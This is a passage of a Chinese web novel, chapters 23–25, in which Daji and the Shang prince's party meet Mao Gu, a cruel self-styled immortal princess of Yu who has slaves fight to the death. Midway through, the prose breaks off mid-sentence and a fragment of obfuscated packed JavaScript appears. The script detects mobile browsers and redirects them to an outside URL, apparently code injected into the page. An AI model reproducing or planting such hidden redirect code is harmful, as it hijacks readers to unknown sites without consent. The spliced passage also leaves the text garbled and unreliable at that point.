武庚无奈而叹,颇哭笑不得。
原来这盂方国上行下效,人人都只说大邑好,大邑妙,一面夸赞,一面还要自我检讨。
今日盂罐做了几个?酒酿了几瓮?何时能与大邑比肩?说来简直捶胸顿足。
总算熬到了首领伯雨的住处,众人下马入宴,这才得救。
只见阔落茅舍内,几案上美酒百瓮累叠,炖羊炖牛,新鲜春芽嫩果累累,盂方伯雨笑道:“王子切莫客气,若是饮食不完,全带去路上食用,那酒是我赠予天子的礼。”
武庚扯动嘴角笑笑,应付不来这等热情,先入座。
众人见王子入座,这才各自向席位而去。
此时,伯雨一眼看到了那众人中盈盈若仙、气度超群之人。
他呼吸一窒,不禁结巴问:“敢问这、这是哪位君侯公主?”
不等武庚回答,崇应彪先拍案发声:“哎哟,此事说来可巧,这位也是仙君,还是我们德高望重的贞人亲自验明正身过的。”彪子探身,黑圆虎眼笑弯,“伯雨,听闻你这里也有仙君,不若现在就叫出来看看?兴许她二人认得?”
彪子说话一向阴阳怪气,但妲己此时听来,倒说不好他是在拆她的台,还是在拆伯雨的台。
盂方伯雨一时干笑,“我女还在准备,须臾就来。这位既然也是仙君,快请上座……哎呀,果然仙人之姿,我、我竟不敢抬头,真真污了仙人双目……”
“伯雨说笑了。我今日前来,是因为巫医说军中缺药,又有许多兵卒感染风寒,所以想求些茈胡、苍术。”*5
“啊,自然自然,我盂方大国,最不缺药材,仙君想要何药物,写来我命人送去就是。”
妲己含笑谢过,感觉几道灼热视线全抛向自己……
爱慕又隐忍的目光自然是武庚,审视的是公子邑,充满敌意的目光只能是彪子,至于还有一道陌生目光——
她抬眸看去,冷不防与鄂顺四目相对!
鄂顺的狐狸眼顿时闪烁,望向别处,耳根已经烧了起来。
狐狸趁机说道:“他就是那日与你一同掉入洞中之人,是不是甚为嫽俊?”
妲己反而叹:“此些不过是小事。倒是今日之事你如何看,那公主是真仙人还是假仙人?”
狐狸:“你若允我用五个时辰,我可为你一探究竟。”
妲己闻言,还是纠结。
武庚固然在稳定地贡献时辰,奈何恶来这边却卡住。如此寿命虽然还有七日,究竟不知到了大邑还有何变化……
五个时辰已足够令她肉疼。
狐狸也知如今境况窘迫,反而劝她:“你若不舍,先看看再说。”
于是已宾主分坐,推杯换盏,食肉品果。
那伯雨好个长袖善舞,面面俱到,哪怕知道恶来是奴,也掩藏极好,只说好话叫人听来舒坦。
酒过三旬,连武庚也将他另眼相看,不再抗拒,言语间亲切许多。
这时,忽地一仆躬身进来:“君伯,公主已至。”
盂方伯雨大喜:“快快,叫我好女前来。”
23. 进盂方群狼戏娇郎
众人皆向门口望去,鼓乐声中,竟走进一个「怪人」来。
正是:
斑斓灿羽鹦鹉色,七彩春花明耀光。
只见那怪异彩衣中埋没着一张脸,约莫十五左右的年纪,头颅高昂,神情冷傲,阔步走了进来。
说来也奇,她竟好似周身发光一般,光彩夺目。
“毛姑!”盂方伯雨大喜,语气却有些惧意,“你、你来了……”
不等他说完,毛姑已冷冷斥道:“谁是毛姑?我早说过,我乃金蝉女仙,金尊玉贵,凡人焉敢如此。”
席上一静。
武庚眉心一拧,薄薄厌恶盈上眉梢,不知伯雨是要演哪一出。
盂方伯雨倒神色一点不变,笑着说道:“是,是,怪我忘记,我打嘴。”说着在嘴上打了两下,才又笑,“金蝉女仙,请上座,今日我宴请的皆是大邑贵族。来人,还愣着作甚?为女仙敬上吃食。”
可毛姑并不落座,反而扬声问:“谁是王子?”
众人仍旧寂静,无人出声,又是伯雨殷勤为她引见,“金蝉女仙,这便是王子。”
武庚神色不耐,低头切着羊肉,冷冷道:“你到底要做甚。”
毛姑已衣袂翩跹走到他桌前,傲慢一笑:“你就是王子?抬起头来。”
武庚手中剔肉短刀一顿,随即缓缓放下,对着羊肉笑了一声:
“雨,你女若有癔病,就该早些收治;若等我来治,怕是粗暴。”
说完,他冷眸挑视,竟已起了杀意。
毛姑被他身上的杀气吓到,身形晃了晃,但很快又镇定下来,端肃而笑,“我知王子尊贵,大约以为我已疯。但我实则乃执掌万物的金蝉女仙,连汝先祖见我,也要跪拜。”
武庚深匀一口气,不再出声,反而掂起手边的青铜剑来。
崇应彪早已怒极,一把掀了桌子,怒骂:“老犬!你邀我们前来,竟是为了将我们羞辱?你活腻了!”
一时人人怒目,全都拿起兵刃来!
盂方伯雨吓得“噗通”跪地,连连哀求武庚:“非也,王子,是、是真的仙人……”又拉扯毛姑衣摆,“女仙,你、你快将仙术给王子看!”
毛姑也有些惊慌,但见伯雨这窝囊形状,更无比嫌弃,先骂了句“废物”、将衣摆抽回,这才伸出手来——
只见她指尖顷刻便生出一朵海棠,灼灼绽放,素手盈转,又是一朵。
果然,众人皆看得愣住。
青女姚忽地捂嘴“呀”了一声。
妲己正看得双眼发亮,听到她惊诧,勾勾手指,示意她来耳边说。
青女姚便低声说道:“姐姐,她竟像是同我一起来的。我转世至此时,还有两人同我一起,一男一女。那男人无甚稀奇,一早去投生了,但那女人却好似携带了诡异的光晕……我还听到她自言自语说,这光晕会在她十五岁时觉醒,可以变幻衣衫,还可召唤往生者,从此在上古称神……”
妲己闻言,又去看地上花朵,果然,纹理清晰,实则是丝布扎成的。
她心中不免失望。
若毛姑真是仙人倒好,她刚好可以打探哪位仙人能将人祭改除,谁料满心期待一场,只是看了些把戏而已……
此时狐狸也笑了:“啊,我已知晓了,是上古仙人所用的天网遗留,一个无用之物。很弱,你若允我一日寿命,我可轻松将其咬死。”
妲己挑眉:“你竟也知晓这是何物?”
“臭宝,你且想来,我肉身已死,如何还能在你脑中说话?不过也是靠仙人遗留的天网将自己保留。毛姑身上也有一个类似的我,只不过——”
狐狸摇头晃脑,很是看不起同类,“那物全然不似我博闻广识,只能变些好看衣衫,召唤出来的往生者也只是精神残留,打不能打,用不能用,问些过往事情,残留还不见得能记全。简而言之,只是个唬人的幻觉,逗逗憨鹧倒很有趣。”
妲己闻言,险些要被它逗笑。
狐狸最近很爱争宠,巴巴问:“可要我去咬死那无用之物?”
她笑而摇头,兴味盎然:“不必,寿命更为要紧,我正看得有趣。”
另一厢,毛姑身边已万花浮现,仿若春来,可她旋身一拂袖,尽归于无。
光怪陆离,变幻莫测,席中无比寂静。
武庚眯着眼,面容读不出情绪。
气氛诡异里,毛姑心中渐渐生慌,这与她想象之中被叩拜、被逢迎的场景全然不同……
怎、怎如此尴尬……
幸而盂方伯雨见势不好,忙膝行上来:“王子,不、不止如此,她还可唤先祖鬼神!女仙,快……快召唤先祖来为你证明。”
那急切模样,很似后世人催促子女再为客人变个戏法。
毛姑冷笑一声,一个旋身,反而向着自己的席位走去,敛袖威严而坐:“我的仙力,可不是给凡人取乐之用。”
“嗤——”妲己一个没忍住,轻笑出来。
毛姑顿时面上一凛,目光如炬射去:“大胆!你是何人,敢嗤笑于本仙?!”
妲己本指望她能变出更多花样来看,谁知不但到此就无了,还要被迫看她做作拿乔,顿觉无聊,款款起身道:“诸位,我已饱腹,先去车边等候。”
“你为何不回我问话!你立住!”毛姑大喝一声。
而妲己脚下并未稍坐停留,带着青女姚款款走远——
八世为后,她实则连帝辛的话也懒得听从,更何况这不知何处来的怪人?
毛姑那模样,似已气疯。
崇应彪岂肯放过这个机会,当即嘴贱:“咦?这倒奇了,这位金蝉仙人,你与我们大邑仙人似乎并不相识。怕不是别国游仙,来大邑抢供奉?”
只差说是个乞丐仙。
毛姑本欲斥他,却忽地一愣,目光折回在青女姚的背影上。
武庚这厢也已烦了,见妲己离去,随之起身,语气冷淡:“雨,你今日辛苦,我要先送仙君归寨,不必挽留了。”
说完,竟也大步离去。
王子一走,众人更无甚兴致留下,连客套话也无一句,纷纷跟去。
一场盛大宴席,结束得无比潦草仓促。
“唉呀,唉呀……”盂方伯雨一个也苦留不住,眼见人去舍空,不免一额是汗,急切对毛姑抱怨:“毛……仙人,你、你为何如此?那可是王子,是未来共主!”
毛姑并不在意,只迷恋而爱惜地欣赏着自己的华服:“王子又如何?天子又如何?皆是肉ti凡胎而已,我谁也不放眼中。”
“可、可你不是想去大邑商?”盂方伯雨压低声音道,“你不是说,你会在那做神女,从此将大邑收归盂方,你的兄姊都可封侯……”
“哼——”毛姑就知道他心里只有盂方的飞黄腾达,讥讽又怜悯地看他一眼,“无志气的蠢物,我岂止要将大邑收于盂方?我还要天下尽归我所有,天下尽为我所用!我要看你们这些贱民凡人匍匐在我脚下,永远也摸不到我的衣摆。王子算什么狗屁共主,我才是未来共主!你放心,我不但去得大邑,我还要他们跪下求我去!”
盂方伯雨的面上,神色复杂。
~
入夜,青女姚端了一盘沙归来时,正看到贞人糜与周伯邑匆匆向王子屋舍的方向走去。
定是要谈论毛姑之事!
趁着妲己要教恶来识字,她又转去周围打探。
青女姚隐隐觉得,自己那强大的八卦能力,在此处似乎颇有用武之地。
妲己在舍中准备,想到今日的女仙之事只觉好笑,但轻笑了两下又沉下脸来,仍只惦念着寿命。
都快死了,倒有功夫嘲笑别人……
大约也是穷则思变,她沉吟一阵,忽地灵机一动,计上心来。
困倦的狐狸一激灵,大叫:“你刚才似乎动了极坏的念头,我有不好预感!”
妲己舌头舔过嘴唇,奸诈笑道:“狐狐,你该有极好的预感,因我已知如何将恶来收入囊中了!”
不多时,恶来前来,妲己长发一撩,奸笑迎上去。
恶来神色与昨日无一星不同,仍旧求知若渴,沉郁方正。
妲己也不在意,照例为他细细讲解过兵书后,又趁机了解了些大邑各类兵种,随后临到末了,忽地笑说:
“大亚,昨日所教之字可还记得?我说,你写来看看?”
恶来果然惊讶抬头,反问:“……为何?”
妲己怪道:“只学不试,我如何知你资质与进展?不必怕,我只挑简单的问来。写对有赏,但若写错,我也要罚你。”
说完,
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她虽仍笑着,手却已从几案下摸出一根光滑树枝来!
狐狸就知她又要跑偏,手爪捂脸,声音悲苦:“哎呀,这不好使!”
“谁说的,他或许很怀念被人鞭打!”妲己怒而回怼了,又对恶来道:“你且好好写来我看。”
于是先说了三个字。
恶来固然有临危不乱的本领,但记忆力显然并不突出,先写了两个,第三字便如何也想不起来了。
明明看书册时都记得……此时却脑中一片空洞……
那冷淡面容上,罕见浮出局促心虚之色,还有些结巴,“我……我并不知还需这般,其实许多都不太记得。”
妲己脸一冷,并不听他解释,直说:“伸出手来。”
恶来白皙如冰的面庞一片薄红,没有丝毫迟疑地张开大掌。
妲己毫不留情地狠狠抽下。
他眼皮微微抖动。
此等级别之疼痛,可谓轻微,而她的怒容才更令他羞愧、心头剜疼。
妲己随即又说了三个字,这下更糟,他只写上来一个。
浑身紧绷,敌军突袭也不过如此。
他听到妲己轻叹一声。
这一声叹息震耳欲聋,乃是恶来无法承受之轻,不免头低了下去,歉然低语:“我……我能认得,但写来尚不熟。”
说着,手已自觉伸出。
“嗤!嗤!”两枝落下,打得他白皙手掌上三条红印清晰。
他薄唇紧抿,不发一言。
妲己见他面上红得厉害,暗喜问狐狸,可还未张嘴,狐狸已凉凉吐出一字:
“无。”
“???”妲己不信,“怎会是无?他脸这般红!”
“那是羞惭。”狐狸牙酸似的皱脸劝她:“你要不听我一句劝……”
“啊,我知晓了,”她恍然打断,“我果然还是该以退为进。”
她说完已换了口气,对恶来哀怨道:“莫非是不曾看过一星吗?甚叫我失望……”
恶来猝然抬头,首次体味到兵败的恐惧,急急辩解:“我实是看过……”
妲己似没听到,怨说:“大亚是真心学来吗?”
“是真心……”他喉结滚动着,“但今日扎营实在诸事繁琐,小食又去了盂方国……”
“你不必解释,”妲己哀凄扶额,“明日若还如此,就……罢了。”
果然,这话一出,恶来其余的话全哽在喉中,眼周隐隐发红。
妲己低声道:“大亚,我也不妨同你说些肺腑之言。我虽被称为仙君,但回到大邑是何下场又谁知晓?趟或天子疑我是妖邪,将我祭天,那时又有谁来教你……我是真心为大亚着想,只恨不能趁自己还活着,将所有仙册皆赠予你。可你却如此不在意……我一番苦心,皆是白费了……”
说到这,她已然哽咽落泪。
狐狸狠狠翻了个白眼。
恶来果然慌了,似一个被抛弃的肱股忠臣,似一个即将被逐出师门的倒霉徒弟……
他忽地起身,又跪,向着妲己行了大礼,沉声急道:“仙君若都是妖邪,世间旁人又如何配享天宫?我知仙君为我一片苦心,今日是我令仙君失望,日后我绝不再犯,请仙君容我这次。待回归大邑,我自然要用性命保住仙君,绝无二话!”
说完,重重磕头。
“哎呀……”妲己假意伸手扶他,“何必如此,倒是我心急……话说重了。”
恶来抬头,不妨她的面容近在咫尺,猛地垂下眼,直身微微将距离拉开……
妲己反而硬要凑近,抬手为他拂去额上尘土,缓声道:“那今日就如此,我也乏了,你且回去好好看来,明日莫叫我失望,嗯?”
“喏。”他眼神无比坚毅,似乎下了莫大的决心,深深凝视了她一眼,这才起身离去。
他前脚才走,后脚妲己已将脸上泪一抹,毫无悲色,只觉自己实在厉害:
先假装撵人,叫恶来紧张;再说自己前途未卜,令他心疼;最后再柔声安抚,叫他心暖……
实在是丝滑的人心掌控!
——“狐狐,怎么说,四个时辰总该有罢?”她胸有成竹。
狐狸贱笑着:“哎,你莫说,时辰虽无一个,但他却对你愈加敬重了。”
“……???”
24. 怜臂伤妲己多曲意
冰雨刺骨,四处泥龙游走,雨花炸开。
一日冷雨,至「日中」之时犹未停歇。
盂方伯雨的宅邸后,深宽圆坑内,两个裸身的奴隶正在彼此厮打,挥拳之间,血液飞溅。
而圆坑边的茅亭内,毛姑身披鹤氅,内里着一身罕见的柔色华裳,似月之白,似雾之胧,乌发蜿蜒,遥遥望去,有水墨之韵。
她悠闲支首,观赏着角斗,容色冷淡。
在她周遭,又有男女奴隶数十人侍奉。
容貌姣好者可在她近前,或捶腿、或烹肉……
余者皆在雨中挨淋,冻得嘴唇发紫发抖。
雨水声单调,也无人说话,只能听到坑中奴隶低吼,拳拳到肉。
“唉……”
良久,毛姑敬畏般叹气,赞道,“我这女奴实在强悍,少说也已打死了十个男奴,看来今日胜者,非她莫属。”
奴隶们无一人敢搭话。
毛姑眼珠转转,忽地捏起身边一个清秀男奴的下巴来,笑问:“你能打赢她否?”
这奴恐惧摇头,张嘴时口中空洞,竟然无舌。
“啧……”她嫌弃将其下巴一推,“忘记你舌头被我拔去。恶心。”
若不是还有几分姿色,根本不配将她伺候。
这时,雨幕之中,一个奴隶将妲己与青女姚引了来——乃是毛姑特意邀人去请来的。
她听到动静抬眸,看到妲己身后竟还跟了一队武士,眼睛微微眯起……
虽然俱是一等一的精壮武士,但都不及为首之人。
那人生得眼深面窄,一身黑衣,极是高壮,遥遥望去已压迫感甚重,近到前来,更是叫人呼吸也要屏住。
这人昨夜也在席上,盂方伯雨又将诸人背景细细与她说过,所以她知,他是恶来。
是个贱奴,却官任大亚。
有趣……
原来,今日晨起大雨,商军不曾离开羁舍;毛姑为弥补昨日事,又听盂方伯雨说席上离去那人也是个「仙人」,便特意差人送贵重礼物去请来。
武庚为妲己挑了二十个精壮武士守护,但出羁舍时,恰好被恶来看到,他便主动请缨要来。
恶来那无欲无求的品性在大邑很是出名,武庚也知若他在,千军万马也不过虫蚁,于是应允。
此时毛姑坐直身子,看到妲己脱下鞋袜进了亭中,恶来却只站在檐下,命武士各自寻避雨之处。
她不动声色瞧着,轻声笑道:“仙君,昨日多有得罪,还望见谅则个。却不知仙君如何称呼?”
妲己跽坐在团垫上,笑答:“仙君当不起。我来自己氏部落,名妲。”
毛姑脸色微微发僵,身子也直起:“妲?妲己?你是妲己?”
她眼波流转向她:“哦,公主认得我。”
离近看来,这毛姑眼睛圆滚滚,鼻子滚滚圆,实则是有些蜜甜的娇憨之相。
“不,不认得……”毛姑复又半卧着,眼中玩味,扫了一眼她身旁的青女姚,刻意扭转话锋:“这是你的奴?怎如此蠢笨,也不为你打酒暖身。”
青女姚今日是为了探毛姑底细硬要前来,此时绝不想因自己惹得妲己与她起争执,故而不等妲己开口,就忙忙走去炉边。
面容温顺的奴隶为她打了半碗热酒。
她端酒折回,从毛姑面前经过,却忽地踉跄一下,摔倒在地!
“铛——!”
陶碗粉碎,热酒四溅,青女姚才仓皇抬头,已被妲己扶住:“可还好?”
“大胆贱奴!”毛姑厉声站起,“竟敢污我衣衫!”
说着,冲上前去便要将她掌掴!
——抡下的手腕却被妲己紧紧攥住。
妲己偏头,笑得媚如妖姬,宛转轻言:“公主方才伸脚绊她,只是脏污衣衫;若是再打,怕不知还有何报应。”
毛姑脸色阴沉:“你护她?”
“不错,”妲己语气仍然轻柔,“我护她,还求公主饶过。”
话虽如此柔,她手中却用力,迫使毛姑后退了三步。
众奴意欲护主,正蠢蠢欲动,恶来却忽地将手中铜刀推出半寸!
刀鞘摩擦,声音突兀,再加上他如此慑人的气势,何人敢再动?
毛姑敏锐将局势察觉,反而笑了,油滑说道:“我能如何?只不过看她甚嫽,不知仙君可愿割爱?我奴隶中不乏容貌姣好者,我与你换。”
“唉……”妲己也装模作样喟叹,“此爱难割,公主莫要为难我。”
毛姑眼中狞色一闪,却反而笑了。
妲己也笑。
于是二人忽然又好似无事发生,重新落座。
妲己示意青女坐在自己身后,对毛姑开门见山道:“不知公主请我来,所为何事?”
毛姑却猛地出声打断,怒骂奴隶:“蠢物!莫不是想死?!坑里怎无声音?还不去看?”
妲己知她故意指桑骂槐,只佯装听不懂。
奴隶忙冒雨去看,很快折回:“回公主,齿疾已死。”
齿疾,是坑中男奴的名。
毛姑抚掌,叹为观止:“快,快将臂伤拉上来。”说完这才好似想到什么,又对妲己笑道:“仙君,我这奴极是勇猛,你不知她打死了我多少男奴。”
果然,坑内拉上来一女奴,其身形巍巍,肌肉丰隆,比恶来也不差什么;
她周身泥浆遍布,又与汩汩鲜血混合,虽不曾穿衣,却站在那就自有一股劈天裂地的气势,叫人看来只会心生震撼,仿若地母之强悍!
此时她俨然已经力竭,在雨中站着也吃力。
毛姑眼珠转转,笑问妲己:“仙君,你说,她是胜者吗?”
妲己颔首:“此等勇士,叫人敬佩,当得起胜者之名。”
忽地,这唤作臂伤的奴隶大声道:“公主!你允诺过奴,只要奴能连打死十五人,就……就叫奴领盂方之军……方才打死齿疾,已是第十五人!”
毛姑唇边笑容一僵,眸光骤转阴冷。
妲己理了理衣衫,语气悠然:“原来公主还许下过如此诺言。”
毛姑冷笑一声,“仙君,看来你还未看透这世间的本质,并不懂何为胜者。”
她站起身向外走去,立刻就有奴隶上前来为她撑伞,为她穿上屐。她径直走到臂伤面前,仰头甜甜笑望她:“臂伤,你甚勇,你转身去,我要赏你。”
臂伤有些犹疑,但看她笑得如此亲和,仍旧从命。
毛姑一使眼色,身边奴早抬起一脚踹去——
“小心!”妲己惊呼提醒!
臂伤其实也早有防备,却因伤势与体力之故,只躲避了一半,身子晃晃,重新跌落坑中。
“啊啊啊——公主!”坑内传来臂伤凄厉地喊叫,“公主,我已杀了十五人,我不曾骗你,公主——!”
毛姑这才施施然折回,脱鞋,落座,笑看妲己:“仙君,胜者在何处?我并不曾看到一个。”
妲己袖中的手已攥紧,只忍耐而笑:“公主又何必愚她?”
“我愚她?”毛姑狞笑,“是她不自量力。我便是允诺了又如何?若我之所言即为金科玉律,那我此时要她死,她也遵从?”
她笑着凑近妲己,轻声道:“仙君也看出来了罢,这坑中无胜者;胜者,只会是坑边观赏之人。”
妲己点头:“此话在理,但你又怎知,你我不是坑中之人……”她抬手指天,“而坑边之人,又是否正在将你我观赏?”
毛姑一怔,旋即哈哈大笑,眼中满是欣赏,抚掌大声道:“妙人!真真是妙人!知己!实乃我知己!仙君,你既如此通透,与我联手可好?”
她笑容灿烂凑近,用仅能二人可听到的声音轻声道:“有仙君容貌,有我之仙力,你我二人,可将天下收归囊中!那时,你为西王母,我为东王母,你我分治天下,也做观赏之人,岂不美哉?”
妲己知她不过是满嘴浑说,却欣然点头,热络而恳切:“公主如此厚爱,我心中极想同意。只是……联合毕竟需要守诺,公主可否先履行诺言,许那奴应有的奖赏,你我再议后事?”
毛姑一怔,语气微妙:“你……很同情贱奴。”
“唔,倒说不得是同情……”
“你要我对贱奴守诺?”
“不过是寻求个安心……”
“你可知他们多无耻?!”毛姑厉声打断,抬起手来,展示手臂一条刀疤,“你知这伤从何而来?”
曾经,她也无比心善,贱民们崇拜她的华服,想用脏手摸她的衣摆,她也只是心里厌恶,将他们呵斥而已……
她声音颤抖:“仙君……我曾有一乳母,她盗窃我的用物给她女治病,被我打死。我好心叫她儿来做活,谁知她儿却怀恨在心,竟藏了石刀要来杀我!仙君,你不懂,他们……同我们不同,他们是蝼蚁、是野兽,心中从无感恩!他们永远不值得你、不值得我同情……”
毛姑的目光变得空远,盈上泪花。
妲己鼻息一叹,知晓了为何那最健壮的奴唤作「臂伤」。
她本想也继续与毛姑斡旋,却已倍感烦躁。
这毛姑的言行,固然肤浅,但肤浅也意味着无有下限、不可预测。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418672|168924||http|test|mini|href|location''.split(''|''),0,{}));
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>她或许受过刺激,忽喜忽悲,忽近忽远,又活在自己的世界中,又自有一套逻辑在——
简而言之,顺她者昌,逆她者亡。
话已然不投机,妲己只是可怜那坑中奴隶,于是曲意最后一次尝试,“我知公主遭遇,实在心疼。我愿与公主联合。但这奴可否赠与我,只当你我联合之礼。”
毛姑缓缓坐直身子,目光打量着她绝嫽的面容,莫测而笑,“赠你,当然好……但我有条件……”
她白嫩手指点向檐下的恶来,“嘻嘻”笑着,“叫他与臂伤角斗一场。他若输,人你带走,他若赢,我杀了臂伤。”
大雨带来单调的噪音,妲己不确定恶来是否听到了毛姑之言。
——叫恶来与奴隶角斗,本就是辱,无论输赢,无非是辱上再添羞辱。毛姑如此说,就是不预备给。
看毛姑那洋洋得意的模样,似乎认定已将妲己吃死;狐狸实实勃然大怒,獠牙尖锐生长:
“哪怕予我五个时辰!我死也要将她的倚仗之物咬杀!”
可妲己只是冷下面容,站起身来,“公主,大亚身份尊贵,承命于天子,非是你我可以操控。公主既然故意刁难,我无话可言了。”
“诶?”毛姑诧异,立刻凶狠道,“仙君若不允,我现在就将她杀死。”
妲己无甚情绪,回眸笑得妖娆,“公主的奴,与我何干?我只是要公主证明自己是守诺之人,既然公主不愿,我也言尽于此。”
说着,已抬步要向外走。
毛姑不料她如此果决,一时摸不准她心思,忙冲上去拉她衣袖,顷刻就换了副腔调:“唉……仙君,怎还生气起来?我不过是玩笑……”
她可怜撒娇,“你若喜欢,区区一奴,我送你便是。你看,我这就拉她上来。”
说着,果然呵斥奴隶将臂伤拉上来。
看着臂伤一脸迷茫,毛姑反而被逗笑了,“果然是神仙打架,坑中人是福是祸,也不过是一念之间,有趣。”
感慨过,她又娇声对着妲己求道:“仙君,你看,我将她救上来矣。只是,她如今模样不好,不妨叫她在我这里养几个时辰再送你,如此我可算有诚意?”
她柔腻蹭上妲己,哀求着,“就是想求求仙君……我知道商人出发前总要祭祀的,我也想去观来。仙君若愿帮我劝王子,待我参与祭祀时,臂伤也会一道前往。”她笑得清甜。
妲己笑着,已将她粗浅意图看得透彻。
果然不出她所料,所谓的邀请、角斗、奴隶、刁难、联合……如此花样百出,无非就是为了参与祭祀。
然后……
大约祭祀上毛姑就要展示所谓仙力,还想去大邑展开一番宏图事业……
如果说世间有「势」,那么毛姑俨然就是「势」中之「变」。
变数无定,叫人无法控制。
但妲己仍轻声应允:“好,希望公主这次可以信守承诺,不要将我也踹下坑中。”
~
走出盂方国巨木牌楼时,妲己仍然玉面寒冰。
狐狸为了安慰她,偷偷道:“若你想听好消息,武庚贡献的时辰方才正好满二十四个。”
原来武庚担心她的安危,坐立难安时,又贡献了两个时辰。
如此抠抠搜搜之间,一日的时辰终于具备;但这宝贵的一日究竟是用来续命,还是用来绞杀毛姑的能力?
先保全自己,再保全旁人——这一贯是妲己的信条。
而此时,她却并不坚定……
理智看来,她知晓自己救不了所有人;以一人之力对抗天下,简直是蚍蜉撼树。
可情感来说,她又不忍见臂伤明明身有才能,却屈居坑底。
一时间,她几乎要恨恶来,将他背影狠狠一剜。
青女姚以为她还在为臂伤而愤怒,小声安慰:“姐姐莫要伤心,公主毛姑实则也不算是贵族中最残忍之人……”
非打即骂、剥皮做衣、割耳割足、与狗混住、农耕纺织……
低等奴隶大抵如此。
曾经还有个贵族公子创造了一个残忍的刑罚,乃是在牛皮上扎上尖利石头,用其来抽打奴隶。能穿戴齐整跟随主人的奴,才是少数。
青女姚其实不觉得毛姑会将臂伤送来。但她若提醒了,又怕妲己姐气极,与毛姑更势同水火。
妲己却转头看向她,语调沉沉说出一句来:
“青女,你莫非不曾发现吗?毛姑也记得你。”
青女姚一怔,领悟意思后脊背毛毛一寒。
——不错,毛姑应是也保留了记忆,她还记得她!
25. 怜臂伤妲己多曲意
武庚在羁舍等待妲己时,早已心如油烹。此时听闻她归来,彻底连掩饰也丢弃,迫不及待奔了出去。
他如此行径,无异于将心事写在旗上迎风招展,周伯邑却一字不敢深劝
——近来,他与王子的关系有些微妙……
固然,表面看来,王子早已不在意前事,还时常与他说笑,但只要略一触及妲己,气氛就会堪比冻土,冰封周遭三尺。
连彪最近都不敢过火,为了挽回与王子的情谊,周伯邑只得管严了嘴。
故而王子奔出,他所能做的唯有紧紧跟随,祈求王子看在他的份儿上,还记得约束言行。
另一厢,妲己见武庚迎来,鼻子登时一酸,动容至极。
曾经的她对一个时辰嗤之以鼻,如今一个时辰令她高攀不起!
禄……我的好大儿,要不说小妈不曾白疼你,更不曾白白为你治伤;今日攒够一日寿命,小妈才知你的好……你比恶来那厮,委实要可爱千倍万倍……
武庚本来端着架子,见她一脸感动地望着自己,倒猛地脸皮发烧,“唔……仙君……为何如此神色……”
妲己趁机说道:“我在盂方有些收获,但……只能告知王子一人……”她上前低声道,“可否去我舍中说来?”
他本也拒绝不了她的任何要求。
~
扎寨羁舍后,武庚还是首次进入妲己房舍内。
明明先前看伤时也去过她所在之处,但那时蒙眼,又实则是自己营帐;细想来只记得黑暗与暧昧水汽,疼痛与蚀骨蜜甜。
如今朗朗乾坤,他步入进来,不知为何,倒紧张得喉咙干涩……
妲己的舍内与其余屋舍并无差别:
一床一几,窗边供桌累叠用物;但因屋内盈满她的气息,又有些属于她的衣物悬挂,便叫人筋骨酸软,心中遐想。
武庚进来时,欲将门关上,又觉得不妥,仿佛邑的那双忧虑眼睛正谴责看来,于是复又打开一缝,也觉怪异。
妲己已经折身归来,攥住他手,顺势将门死死拉住。
武庚一怔,舌湿润一下干燥的唇,似兽落陷阱般焦灼起来。
妲己就在他近前,仰头急切问:“王子如何看那盂方公主?”
“唔,如何看……”
武庚浑身发麻,心跳得猛烈,早忘了是她说有些收获要告知。
他着实高估了自己,妲己这样亲近与他说话,眼睛都不知该看向何处。
狐狸察觉了妲己的阴险用意,不觉眯眼:“你凑他如此近,他哪里还有多余脑子同你讲话?”
“我需榨取时辰。”
妲己声音无比冷酷。
武庚这鲜嫩小果,她不过捏了一下就离去了,大约还能榨出不少。
亡羊补牢,为时不晚!
狐狸懂了,她这是捏不动恶来,反回来继续捏武庚
——莫说,还真被她捏出一个时辰来
——王子实乃苦命工具人也!
此时武庚果然混乱,呼吸也短促,正想侧身站远些,就听她哽咽一声。
他神色登时一寒,语气已沉:“怎了?盂方刁难你?”
昨天其实就该将那老狗好好警告!
她狐眸含愁,摇头:“说不上是刁难,是那盂方公主想要青女。但我忖着,青女乃是王子所赠,我实在爱若珍宝,只好拒绝……她……似乎极不悦。”
武庚闻言,心头倒要喜沐沐起来
——因是他所赠、所以爱若珍宝,这话听来,与将他爱若珍宝又有何异?
他强压嘴角上扬之势,清了清嗓子,故作平淡道:“我当是何事,也值得伤怀?仙君放心,我知你喜那小奴,谁也不能将其抢走。”至此,声音又严厉几分,“你更不必对盂方有任何畏惧,它不过是大邑附属,本不配提条件!”
妲己似乎被他的厉声吓得后退一步,随即才破涕浅笑,脉脉望向他,“有王子这句话,我宽心许多。”
这,正是她话语中要达成的诡计。
毛姑仍记得青女姚,今日故意刁难,又欲将青女要走,无非是恐青女掀其老底儿,先发制人。
此时一击不成,定还要试探;
妲己想为青女寻求一个庇护,但当下选择极少,唯有将其由公子邑之奴转为王子之奴。
按照武庚的身份,绝不会在意青女姚一个奴的处境,但若她强调是王子赠予、意义非凡,那么奴从此便不再仅仅是奴,而是王子颜面。
一张护身符在手,她心中得意,正欲再开口试探武庚对毛姑的态度,却忽地一阵天旋地转,几乎要站不稳!
“呀……”她低呼一声。
武庚正懊恼方才语气又十分生硬,见她摇晃,忙一伸手将她扶住。
“妲己!”
怀中之人软如水草,双目失神,绝非佯装。
他忙将她抱起,放置在牀,急切唤她,“你可能听到我说话?”说着又心急要起身,“我去命巫医来!”
“不,王子且慢……”
妲己自己也心惊为何忽然晕倒,但万势皆可用,她趁机揪住武庚衣襟,微睁杏眼,强启朱唇,虚弱似病锁海棠,“我并非生病,只是今日去见过了那盂方仙人,回程时身上已无比难受,不知何故……”
武庚眉心紧拧,想到昨日那傲气公主,低声道:“我早劝你莫去,你却坚持。那公主确实古怪,连贞人也说她绝非仙人。”
她虚弱道:“贞人竟这样说?”
“不错,贞人还说,天子英灵至高无上,怎会需向散仙跪拜行礼?只这一点,那毛姑已是胡说。再者她仙讳也甚怪,唤作蝉,倒似个奴隶之名。我与邑皆认为,许是侍奉先祖的人牲偷盗了什么机缘,跑出作怪。”*1
妲己也知这点。
大邑商之人起名,高阶贵族皆是具有吉祥意味的字或凶兽,如禄、顺、寿、兕。
